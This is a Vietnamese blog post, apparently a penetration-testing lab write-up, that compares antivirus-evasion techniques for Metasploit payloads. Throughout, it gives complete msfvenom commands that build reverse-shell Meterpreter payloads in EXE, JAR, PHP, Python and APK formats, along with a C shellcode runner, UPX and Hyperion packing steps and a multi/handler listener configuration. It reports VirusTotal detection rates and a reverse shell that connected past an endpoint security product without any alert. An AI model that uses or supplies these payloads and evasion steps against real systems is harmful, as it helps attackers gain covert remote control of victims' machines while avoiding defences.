Phương Pháp Tránh Phát Hiện Phần Mềm Diệt Virus trong Kỹ Thuật Tấn Công Hệ Thống

Trong lĩnh vực an ninh mạng hiện đại, việc xây dựng payload có khả năng vượt qua các cơ chế phát hiện của phần mềm diệt virus (AV) là một kỹ năng thiết yếu cho cả chuyên gia bảo mật và nhà nghiên cứu xâm nhập. Bài thực hành này tập trung vào việc đánh giá và so sánh hiệu quả tránh phát hiện (evasion) của nhiều phương pháp khác nhau — từ mã hóa đa tầng, chuyển đổi định dạng tải trọng, đến kỹ thuật lập trình shellcode thủ công và đóng gói nhị phân — trên nền tảng kiểm thử thực tế với hơn 60 bộ quét AV qua VirusTotal.

1. Cơ Chế Phát Hiện Của Phần Mềm Diệt Virus

Các giải pháp AV hiện đại thường kết hợp ba lớp phân tích:

  • Phát hiện dựa trên chữ ký tĩnh (Static Signature Detection): So khớp byte mẫu cố định (thường < 64 byte) từ các mẫu malware đã biết với file mục tiêu. Hiệu quả cao với mối đe dọa cũ, nhưng hoàn toàn vô tác dụng trước biến thể mới.
  • Phân tích heuristics: Đánh giá cấu trúc mã, chuỗi lệnh và hành vi tiềm ẩn (ví dụ: ghi đè registry, gọi hàm mã hóa, tự sao chép). Dễ gây cảnh báo sai do nhiều ứng dụng hợp pháp cũng thực hiện thao tác tương tự.
  • Phân tích hành vi động (Dynamic Behavior Analysis): Thực thi chương trình trong môi trường sandbox cách ly, theo dõi các hoạt động nguy hiểm như kết nối ngoại vi bất thường, sửa đổi hệ thống, hoặc mã hóa hàng loạt tập tin.

2. Đánh Giá Thực Nghiệm Các Kỹ Thuật Tránh Phát Hiện

2.1 Mã Hóa Payload với Msfvenom

Thử nghiệm bắt đầu từ payload Windows Meterpreter gốc (reverse_tcp) với địa chỉ IP 192.168.179.129 và cổng 2304:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -f exe -o raw.exe

Kết quả VirusTotal: 50/72 (69.4%).

Sau đó áp dụng mã hóa Shikata Ga Nai một lần:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.179.129 LPORT=2304 -f exe -o encoded_once.exe

Kết quả: 43/72 (59.7%) — giảm 9.7%.

Mã hóa 10 lần liên tiếp:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.179.129 LPORT=2304 -f exe -o encoded_ten.exe

Kết quả vẫn là 43/72, chứng tỏ giới hạn hiệu quả của kỹ thuật mã hóa lặp đối với định dạng EXE.

2.2 Chuyển Đổi Định Dạng Payload

Các định dạng không phải nhị phân gốc thường đạt tỷ lệ tránh phát hiện cao hơn do đặc tính thực thi gián tiếp:

  • JAR: msfvenom -p java/meterpreter/reverse_tcp ... -f jar34/64 (53.1%). Việc mã hóa thêm không cải thiện kết quả.
  • PHP: msfvenom -p php/meterpreter/reverse_tcp ... -f raw25/62 (40.3%). Sau khi mã hóa 10 lần: 8/62 (12.9%) — cải thiện rõ rệt.
  • Python: msfvenom -p python/meterpreter/reverse_tcp ... -f py0/62 (0%). Không cần mã hóa — Python script thuần có độ "trong suốt" cao nhất trong thử nghiệm.
  • APK: msfvenom -p android/meterpreter/reverse_tcp ... -o app.apk27/66. Sau mã hóa: 9/62.

2.3 Kỹ Thuật Shellcode Thủ Công

Thay vì sinh trực tiếp file thực thi, tạo shellcode dưới dạng mảng C và nhúng vào chương trình:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -f c > payload.c

Tệp C được bổ sung hàm main() để thực thi shellcode qua con trỏ hàm:

int main() {
    unsigned char buf[] = { /* shellcode bytes */ };
    int (*func)() = (int(*)())buf;
    return func();
}

Biên dịch bằng MinGW: i686-w64-mingw32-gcc payload.c -o shellcode.exe24/72.

2.4 Đóng Gói (Packing) với UPX và Hyperion

Áp dụng UPX lên file shellcode.exe:

upx --best shellcode.exe -o packed.exe

Kết quả: 27/72 — tăng nhẹ so với bản gốc, cho thấy nhiều AV đã nhận diện đặc trưng dữ liệu nén.

Dùng Hyperion (AES-128, 5 vòng) thông qua Wine trên Linux:

wine hyperion.exe -v shellcode.exe encrypted.exe

Kết quả: 37/72 — thấp hơn bản gốc, phản ánh việc signature của shellcode đã được mã hóa cũng nằm trong cơ sở dữ liệu AV.

2.5 Kết Hợp Đa Lớp

Thử nghiệm chuỗi xử lý: Python payload mã hóa → PyInstaller đóng gói → UPX nén → Hyperion mã hóa.

Kết quả cuối cùng: 38/72. Tuy nhiên, phiên bản chỉ dùng PyInstaller + Python payload thuần đạt 10/72 — cho thấy việc thêm lớp đóng gói không luôn cải thiện mà còn làm tăng khả năng bị phát hiện do hành vi khởi tạo môi trường Python runtime.

3. Kiểm Thử Thực Tế

Trên máy chủ Kali Linux, khởi động listener với:

use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.179.129
set LPORT 2304
exploit

Khi chạy script Python trên máy nạn nhân (Windows 10, FireEye Endpoint Security v6.0.7.11), kết nối thành công mà không kích hoạt cảnh báo thời gian thực — xác nhận hiệu quả của phương pháp dựa trên ngôn ngữ kịch bản có khả năng thực thi linh hoạt.

4. Nhận Xét Quan Trọng

  • Định dạng script (Python, PHP) thường đạt hiệu quả tránh phát hiện cao hơn EXE do thiếu đặc trưng nhị phân cố định và phụ thuộc vào môi trường thực thi bên ngoài.
  • Mã hóa đa tầng chỉ hữu ích khi kết hợp với định dạng phù hợp — ví dụ: hiệu quả rõ rệt trên PHP nhưng gần như vô nghĩa trên JAR.
  • Các công cụ đóng gói phổ biến như UPX và Hyperion ngày càng bị AV nhận diện dựa trên đặc trưng hành vi giải nén/mã hóa tại thời điểm chạy.
  • Việc kết hợp quá nhiều kỹ thuật có thể làm tăng độ phức tạp và rủi ro thất bại hơn là cải thiện độ che giấu.

Thẻ: msfvenom shellcode python-payload av-evasion hyperion

Đăng vào ngày 24 tháng 5 lúc 17:27